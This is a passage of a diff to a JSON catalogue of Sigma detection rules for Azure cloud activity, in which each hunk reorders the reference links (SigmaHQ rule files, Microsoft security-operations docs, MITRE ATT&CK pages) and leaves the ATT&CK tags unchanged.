"https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_app_appid_uri_changes.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_app_appid_uri_changes.yml", + "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-applications#appid-uri-added-modified-or-removed" ], "tags": [ "attack.t1528", @@ -2258,8 +2256,8 @@ "logsource.category": "No established category", "logsource.product": "azure", "refs": [ - "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-applications#application-granted-highly-privileged-permissions", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_app_delegated_permissions_all_users.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_app_delegated_permissions_all_users.yml", + "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-applications#application-granted-highly-privileged-permissions" ], "tags": [ "attack.privilege_escalation" @@ -2281,8 +2279,8 @@ "logsource.category": "No established category", "logsource.product": "azure", "refs": [ - "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-applications#application-authentication-flows", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_app_device_code_authentication.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_app_device_code_authentication.yml", + "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-applications#application-authentication-flows" ], "tags": [ "attack.t1078", @@ -2308,8 +2306,8 @@ "logsource.category": "No established category", "logsource.product": "azure", "refs": [ - "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-applications#end-user-consent", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_app_end_user_consent.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_app_end_user_consent.yml", + "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-applications#end-user-consent" ], "tags": [ "attack.privilege_escalation" @@ -2380,8 +2378,8 @@ "logsource.category": "No established category", "logsource.product": "azure", "refs": [ - "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-applications#application-granted-highly-privileged-permissions", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_app_permissions_for_api.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_app_permissions_for_api.yml", + "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-applications#application-granted-highly-privileged-permissions" ], "tags": [ "attack.privilege_escalation" @@ -2403,8 +2401,8 @@ "logsource.category": "No established category", "logsource.product": "azure", "refs": [ - "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-applications#application-granted-highly-privileged-permissions", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_app_permissions_msft.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_app_permissions_msft.yml", + "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-applications#application-granted-highly-privileged-permissions" ], "tags": [ "attack.privilege_escalation" @@ -2426,8 +2424,8 @@ "logsource.category": "No established category", "logsource.product": "microsoft365portal", "refs": [ - "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-applications#application-granted-highly-privileged-permissions", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_app_privileged_permissions.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_app_privileged_permissions.yml", + "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-applications#application-granted-highly-privileged-permissions" ], "tags": [ "attack.privilege_escalation" @@ -2449,8 +2447,8 @@ "logsource.category": "No established category", "logsource.product": "azure", "refs": [ - "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-applications#service-principal-assigned-to-a-role", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_app_role_added.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_app_role_added.yml", + "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-applications#service-principal-assigned-to-a-role" ], "tags": [ "attack.persistence" @@ -2472,8 +2470,8 @@ "logsource.category": "No established category", "logsource.product": "azure", "refs": [ - "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-applications#application-authentication-flows", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_app_ropc_authentication.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_app_ropc_authentication.yml", + "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-applications#application-authentication-flows" ], "tags": [ "attack.t1078", @@ -2499,8 +2497,8 @@ "logsource.category": "No established category", "logsource.product": "azure", "refs": [ - "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-applications#application-configuration-changes", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_app_uri_modifications.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_app_uri_modifications.yml", + "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-applications#application-configuration-changes" ], "tags": [ "attack.t1528", @@ -2549,8 +2547,8 @@ "logsource.category": "No established category", "logsource.product": "azure", "refs": [ - "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-privileged-accounts", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_change_to_authentication_method.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_change_to_authentication_method.yml", + "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-privileged-accounts" ], "tags": [ "attack.credential_access" @@ -2574,8 +2572,8 @@ "logsource.category": "No established category", "logsource.product": "azure", "refs": [ - "https://docs.microsoft.com/en-gb/azure/active-directory/fundamentals/security-operations-privileged-accounts", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_conditional_access_failure.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_conditional_access_failure.yml", + "https://docs.microsoft.com/en-gb/azure/active-directory/fundamentals/security-operations-privileged-accounts" ], "tags": [ "attack.credential_access", @@ -2599,12 +2597,12 @@ "logsource.category": "No established category", "logsource.product": "azure", "refs": [ - "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations#microsoftkubernetes", "https://www.microsoft.com/security/blog/2021/03/23/secure-containerized-environments-with-updated-threat-matrix-for-kubernetes/", - "https://www.microsoft.com/security/blog/2020/04/02/attack-matrix-kubernetes/", "https://medium.com/mitre-engenuity/att-ck-for-containers-now-available-4c2359654bf1", "https://attack.mitre.org/matrices/enterprise/cloud/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_container_registry_created_or_deleted.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_container_registry_created_or_deleted.yml", + "https://www.microsoft.com/security/blog/2020/04/02/attack-matrix-kubernetes/", + "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations#microsoftkubernetes" ], "tags": [ "attack.impact" @@ -2626,8 +2624,8 @@ "logsource.category": "No established category", "logsource.product": "azure", "refs": [ - "https://github.com/Azure/Azure-Sentinel/blob/e534407884b1ec5371efc9f76ead282176c9e8bb/Detections/AzureActivity/Creating_Anomalous_Number_Of_Resources_detection.yaml", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_creating_number_of_resources_detection.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_creating_number_of_resources_detection.yml", + "https://github.com/Azure/Azure-Sentinel/blob/e534407884b1ec5371efc9f76ead282176c9e8bb/Detections/AzureActivity/Creating_Anomalous_Number_Of_Resources_detection.yaml" ], "tags": [ "attack.t1098" @@ -2698,8 +2696,8 @@ "logsource.category": "No established category", "logsource.product": "azure", "refs": [ - "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations#microsoftkubernetes", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_dns_zone_modified_or_deleted.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_dns_zone_modified_or_deleted.yml", + "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations#microsoftkubernetes" ], "tags": [ "attack.impact" @@ -2723,9 +2721,9 @@ "logsource.category": "No established category", "logsource.product": "azure", "refs": [ - "https://attack.mitre.org/techniques/T1078", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_federation_modified.yml", "https://docs.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-monitor-federation-changes", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_federation_modified.yml" + "https://attack.mitre.org/techniques/T1078" ], "tags": [ "attack.initial_access", @@ -2749,8 +2747,8 @@ "logsource.category": "No established category", "logsource.product": "azure", "refs": [ - "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_firewall_modified_or_deleted.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_firewall_modified_or_deleted.yml", + "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations" ], "tags": [ "attack.impact" @@ -2773,8 +2771,8 @@ "logsource.category": "No established category", "logsource.product": "azure", "refs": [ - "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_firewall_rule_collection_modified_or_deleted.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_firewall_rule_collection_modified_or_deleted.yml", + "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations" ], "tags": [ "attack.impact" @@ -2843,8 +2841,8 @@ "logsource.category": "No established category", "logsource.product": "azure", "refs": [ - "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-infrastructure#conditional-access", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_group_user_removal_ca_modification.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_group_user_removal_ca_modification.yml", + "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-infrastructure#conditional-access" ], "tags": [ "attack.persistence", @@ -2917,8 +2915,8 @@ "logsource.category": "No established category", "logsource.product": "azure", "refs": [ - "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_keyvault_key_modified_or_deleted.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_keyvault_key_modified_or_deleted.yml", + "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations" ], "tags": [ "attack.impact", @@ -2945,8 +2943,8 @@ "logsource.category": "No established category", "logsource.product": "azure", "refs": [ - "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_keyvault_modified_or_deleted.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_keyvault_modified_or_deleted.yml", + "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations" ], "tags": [ "attack.impact", @@ -2973,8 +2971,8 @@ "logsource.category": "No established category", "logsource.product": "azure", "refs": [ - "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_keyvault_secrets_modified_or_deleted.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_keyvault_secrets_modified_or_deleted.yml", + "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations" ], "tags": [ "attack.impact", @@ -3000,8 +2998,8 @@ "logsource.category": "No established category", "logsource.product": "azure", "refs": [ - "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations#microsoftkubernetes", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_kubernetes_admission_controller.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_kubernetes_admission_controller.yml", + "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations#microsoftkubernetes" ], "tags": [ "attack.persistence", @@ -3028,11 +3026,11 @@ "logsource.category": "No established category", "logsource.product": "azure", "refs": [ - "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations#microsoftkubernetes", "https://www.microsoft.com/security/blog/2021/03/23/secure-containerized-environments-with-updated-threat-matrix-for-kubernetes/", - "https://www.microsoft.com/security/blog/2020/04/02/attack-matrix-kubernetes/", "https://medium.com/mitre-engenuity/att-ck-for-containers-now-available-4c2359654bf1", "https://attack.mitre.org/matrices/enterprise/cloud/", + "https://www.microsoft.com/security/blog/2020/04/02/attack-matrix-kubernetes/", + "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations#microsoftkubernetes", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_kubernetes_cluster_created_or_deleted.yml" ], "tags": [ @@ -3056,11 +3054,11 @@ "logsource.category": "No established category", "logsource.product": "azure", "refs": [ - "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations#microsoftkubernetes", - "https://kubernetes.io/docs/concepts/workloads/controllers/cron-jobs/", - "https://kubernetes.io/docs/concepts/workloads/controllers/job/", "https://www.microsoft.com/security/blog/2020/04/02/attack-matrix-kubernetes/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_kubernetes_cronjob.yml" + "https://kubernetes.io/docs/concepts/workloads/controllers/job/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_kubernetes_cronjob.yml", + "https://kubernetes.io/docs/concepts/workloads/controllers/cron-jobs/", + "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations#microsoftkubernetes" ], "tags": [ "attack.persistence", @@ -3084,9 +3082,9 @@ "logsource.category": "No established category", "logsource.product": "azure", "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_kubernetes_events_deleted.yml", "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations#microsoftkubernetes", - "https://github.com/elastic/detection-rules/blob/da3852b681cf1a33898b1535892eab1f3a76177a/rules/integrations/azure/defense_evasion_kubernetes_events_deleted.toml", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_kubernetes_events_deleted.yml" + "https://github.com/elastic/detection-rules/blob/da3852b681cf1a33898b1535892eab1f3a76177a/rules/integrations/azure/defense_evasion_kubernetes_events_deleted.toml" ], "tags": [ "attack.defense_evasion", @@ -3111,12 +3109,12 @@ "logsource.category": "No established category", "logsource.product": "azure", "refs": [ - "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations#microsoftkubernetes", "https://www.microsoft.com/security/blog/2021/03/23/secure-containerized-environments-with-updated-threat-matrix-for-kubernetes/", - "https://www.microsoft.com/security/blog/2020/04/02/attack-matrix-kubernetes/", "https://medium.com/mitre-engenuity/att-ck-for-containers-now-available-4c2359654bf1", "https://attack.mitre.org/matrices/enterprise/cloud/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_kubernetes_network_policy_change.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_kubernetes_network_policy_change.yml", + "https://www.microsoft.com/security/blog/2020/04/02/attack-matrix-kubernetes/", + "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations#microsoftkubernetes" ], "tags": [ "attack.impact", @@ -3140,9 +3138,9 @@ "logsource.category": "No established category", "logsource.product": "azure", "refs": [ - "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations#microsoftkubernetes", "https://github.com/elastic/detection-rules/blob/065bf48a9987cd8bd826c098a30ce36e6868ee46/rules/integrations/azure/impact_kubernetes_pod_deleted.toml", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_kubernetes_pods_deleted.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_kubernetes_pods_deleted.yml", + "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations#microsoftkubernetes" ], "tags": [ "attack.impact" @@ -3165,12 +3163,12 @@ "logsource.category": "No established category", "logsource.product": "azure", "refs": [ - "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations#microsoftkubernetes", "https://www.microsoft.com/security/blog/2021/03/23/secure-containerized-environments-with-updated-threat-matrix-for-kubernetes/", - "https://www.microsoft.com/security/blog/2020/04/02/attack-matrix-kubernetes/", "https://medium.com/mitre-engenuity/att-ck-for-containers-now-available-4c2359654bf1", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_kubernetes_rolebinding_modified_or_deleted.yml", "https://attack.mitre.org/matrices/enterprise/cloud/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_kubernetes_rolebinding_modified_or_deleted.yml" + "https://www.microsoft.com/security/blog/2020/04/02/attack-matrix-kubernetes/", + "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations#microsoftkubernetes" ], "tags": [ "attack.impact", @@ -3194,12 +3192,12 @@ "logsource.category": "No established category", "logsource.product": "azure", "refs": [ - "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations#microsoftkubernetes", "https://www.microsoft.com/security/blog/2021/03/23/secure-containerized-environments-with-updated-threat-matrix-for-kubernetes/", - "https://www.microsoft.com/security/blog/2020/04/02/attack-matrix-kubernetes/", "https://medium.com/mitre-engenuity/att-ck-for-containers-now-available-4c2359654bf1", "https://attack.mitre.org/matrices/enterprise/cloud/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_kubernetes_role_access.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_kubernetes_role_access.yml", + "https://www.microsoft.com/security/blog/2020/04/02/attack-matrix-kubernetes/", + "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations#microsoftkubernetes" ], "tags": [ "attack.impact" @@ -3221,12 +3219,12 @@ "logsource.category": "No established category", "logsource.product": "azure", "refs": [ - "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations#microsoftkubernetes", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_kubernetes_secret_or_config_object_access.yml", "https://www.microsoft.com/security/blog/2021/03/23/secure-containerized-environments-with-updated-threat-matrix-for-kubernetes/", - "https://www.microsoft.com/security/blog/2020/04/02/attack-matrix-kubernetes/", "https://medium.com/mitre-engenuity/att-ck-for-containers-now-available-4c2359654bf1", "https://attack.mitre.org/matrices/enterprise/cloud/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_kubernetes_secret_or_config_object_access.yml" + "https://www.microsoft.com/security/blog/2020/04/02/attack-matrix-kubernetes/", + "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations#microsoftkubernetes" ], "tags": [ "attack.impact" @@ -3249,12 +3247,12 @@ "logsource.category": "No established category", "logsource.product": "azure", "refs": [ - "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations#microsoftkubernetes", "https://www.microsoft.com/security/blog/2021/03/23/secure-containerized-environments-with-updated-threat-matrix-for-kubernetes/", - "https://www.microsoft.com/security/blog/2020/04/02/attack-matrix-kubernetes/", "https://medium.com/mitre-engenuity/att-ck-for-containers-now-available-4c2359654bf1", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_kubernetes_service_account_modified_or_deleted.yml", "https://attack.mitre.org/matrices/enterprise/cloud/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_kubernetes_service_account_modified_or_deleted.yml" + "https://www.microsoft.com/security/blog/2020/04/02/attack-matrix-kubernetes/", + "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations#microsoftkubernetes" ], "tags": [ "attack.impact" @@ -3300,8 +3298,8 @@ "logsource.category": "No established category", "logsource.product": "azure", "refs": [ - "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-privileged-accounts", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_login_to_disabled_account.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_login_to_disabled_account.yml", + "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-privileged-accounts" ], "tags": [ "attack.initial_access", @@ -3373,8 +3371,8 @@ "logsource.category": "No established category", "logsource.product": "azure", "refs": [ - "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-privileged-accounts", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_mfa_interrupted.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_mfa_interrupted.yml", + "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-privileged-accounts" ], "tags": [ "attack.initial_access", @@ -3398,8 +3396,8 @@ "logsource.category": "No established category", "logsource.product": "azure", "refs": [ - "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_network_firewall_policy_modified_or_deleted.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_network_firewall_policy_modified_or_deleted.yml", + "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations" ], "tags": [ "attack.impact" @@ -3422,8 +3420,8 @@ "logsource.category": "No established category", "logsource.product": "azure", "refs": [ - "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_network_firewall_rule_modified_or_deleted.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_network_firewall_rule_modified_or_deleted.yml", + "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations" ], "tags": [ "attack.impact" @@ -3446,8 +3444,8 @@ "logsource.category": "No established category", "logsource.product": "azure", "refs": [ - "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_network_p2s_vpn_modified_or_deleted.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_network_p2s_vpn_modified_or_deleted.yml", + "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations" ], "tags": [ "attack.impact" @@ -3470,8 +3468,8 @@ "logsource.category": "No established category", "logsource.product": "azure", "refs": [ - "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_network_security_modified_or_deleted.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_network_security_modified_or_deleted.yml", + "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations" ], "tags": [ "attack.impact" @@ -3494,8 +3492,8 @@ "logsource.category": "No established category", "logsource.product": "azure", "refs": [ - "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_network_virtual_device_modified_or_deleted.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_network_virtual_device_modified_or_deleted.yml", + "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations" ], "tags": [ "attack.impact" @@ -3517,8 +3515,8 @@ "logsource.category": "No established category", "logsource.product": "azure", "refs": [ - "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_new_cloudshell_created.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_new_cloudshell_created.yml", + "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations" ], "tags": [ "attack.execution", @@ -3543,8 +3541,8 @@ "logsource.category": "No established category", "logsource.product": "azure", "refs": [ - "https://docs.microsoft.com/en-us/azure/active-directory/reports-monitoring/reference-audit-activities#application-proxy", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_owner_removed_from_application_or_service_principal.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_owner_removed_from_application_or_service_principal.yml", + "https://docs.microsoft.com/en-us/azure/active-directory/reports-monitoring/reference-audit-activities#application-proxy" ], "tags": [ "attack.defense_evasion" @@ -3687,8 +3685,8 @@ "logsource.category": "No established category", "logsource.product": "azure", "refs": [ - "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-privileged-accounts#changes-to-privileged-accounts", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_privileged_account_creation.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_privileged_account_creation.yml", + "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-privileged-accounts#changes-to-privileged-accounts" ], "tags": [ "attack.persistence", @@ -3712,8 +3710,8 @@ "logsource.category": "No established category", "logsource.product": "azure", "refs": [ - "https://github.com/Azure/Azure-Sentinel/blob/e534407884b1ec5371efc9f76ead282176c9e8bb/Detections/AzureActivity/RareOperations.yaml", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_rare_operations.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_rare_operations.yml", + "https://github.com/Azure/Azure-Sentinel/blob/e534407884b1ec5371efc9f76ead282176c9e8bb/Detections/AzureActivity/RareOperations.yaml" ], "tags": [ "attack.t1003" @@ -3737,8 +3735,8 @@ "logsource.category": "No established category", "logsource.product": "azure", "refs": [ - "https://docs.microsoft.com/en-us/azure/active-directory/reports-monitoring/reference-audit-activities#application-proxy", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_service_principal_created.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_service_principal_created.yml", + "https://docs.microsoft.com/en-us/azure/active-directory/reports-monitoring/reference-audit-activities#application-proxy" ], "tags": [ "attack.defense_evasion" @@ -3785,8 +3783,8 @@ "logsource.category": "No established category", "logsource.product": "azure", "refs": [ - "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations#microsoftauthorization", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_subscription_permissions_elevation_via_activitylogs.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_subscription_permissions_elevation_via_activitylogs.yml", + "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations#microsoftauthorization" ], "tags": [ "attack.initial_access", @@ -3835,8 +3833,8 @@ "logsource.category": "No established category", "logsource.product": "azure", "refs": [ - "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_suppression_rule_created.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_suppression_rule_created.yml", + "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations" ], "tags": [ "attack.impact" @@ -3858,8 +3856,8 @@ "logsource.category": "No established category", "logsource.product": "azure", "refs": [ - "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-privileged-accounts#changes-to-privileged-accounts", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_tap_added.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_tap_added.yml", + "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-privileged-accounts#changes-to-privileged-accounts" ], "tags": [ "attack.privilege_escalation", @@ -3930,8 +3928,8 @@ "logsource.category": "No established category", "logsource.product": "azure", "refs": [ - "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-privileged-accounts", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_user_login_blocked_by_conditional_access.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_user_login_blocked_by_conditional_access.yml", + "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-privileged-accounts" ], "tags": [ "attack.credential_access", @@ -3978,8 +3976,8 @@ "logsource.category": "No established category", "logsource.product": "azure", "refs": [ - "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_virtual_network_modified_or_deleted.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_virtual_network_modified_or_deleted.yml", + "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations" ], "tags": [ "attack.impact" @@ -4002,8 +4000,8 @@ "logsource.category": "No established category", "logsource.product": "azure", "refs": [ - "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_vpn_connection_modified_or_deleted.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_vpn_connection_modified_or_deleted.yml", + "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations" ], "tags": [ "attack.impact" @@ -4026,8 +4024,8 @@ "logsource.category": "No established category", "logsource.product": "gcp", "refs": [ - "https://cloud.google.com/storage/docs/json_api/v1/buckets", - 